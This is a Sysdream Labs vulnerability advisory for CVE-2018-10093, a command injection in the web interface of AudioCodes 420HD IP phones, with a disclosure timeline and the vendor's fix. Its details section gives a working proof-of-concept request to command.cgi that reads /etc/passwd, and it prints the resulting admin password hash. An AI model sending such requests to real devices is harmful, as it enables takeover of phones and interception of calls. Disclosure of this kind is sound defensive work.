AudioCode 400HD Remote Command Injection

`# [CVE-2018-10093] Remote command injection vulnerability in AudioCode  
IP phones  
  
## Description  
  
The AudioCodes 400HD series of IP phones consists in a range of  
easy-to-use, feature-rich desktop devices for the service provider  
hosted services, enterprise IP telephony and contact center markets.  
  
The CGI scripts used on the 420HD phone (web interface) do not filter  
user inputs correctly. Consequently, an authenticated attacker could  
inject arbitrary commands (Remote Code Execution) and take full control  
over the device. For example, it is possible to intercept live  
communications.  
  
## Vulnerability records  
  
  
**CVE ID**: CVE-2018-10093  
  
**Access Vector**: remote  
  
**Security Risk**: medium  
  
**Vulnerability**: CWE-78  
  
**CVSS Base Score**: 7.2  
  
**CVSS Vector String**:  
CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H/E:H/RC:C  
  
  
## Details  
  
The script `command.cgi`, used for system monitoring and diagnostics, is  
vulnerable to a remote command execution attack.  
  
Visiting the `/command.cgi?cat%20/etc/passwd` gives the following result:  
  
```  
admin:$1$FZ6rOGS1$54ZXSmjh7nod.kXFRyLx70:0:0:root:/:/bin/sh  
```  
  
Note that the vulnerable page is only available to authenticated users  
(in possession of the admin configuration password).  
  
## Timeline (dd/mm/yyyy)  
  
* 06/03/2018 : Initial discovery  
* 17/04/2018 : Vendor contact  
* 17/05/2018 : Vendor technical team aknowledgment  
* 07/01/2019 : Vendor recommendation to mitigate the issue  
* 10/01/2019 : Public disclosure  
  
## Fixes  
  
AudioCodes recommends to change the default admin credentials to  
mitigate the issue.  
  
## Affected versions  
  
Theses vulnerabilities have only been tested on the 420HD phone  
(firmware version: 2.2.12.126).  
  
## Credits  
  
a.baube at sysdream dot com  
  
  
--   
SYSDREAM Labs <[email protected]>  
  
GPG :  
47D1 E124 C43E F992 2A2E  
1551 8EB4 8CD9 D5B2 59A1  
  
* Website: https://sysdream.com/  
* Twitter: @sysdream  
  
`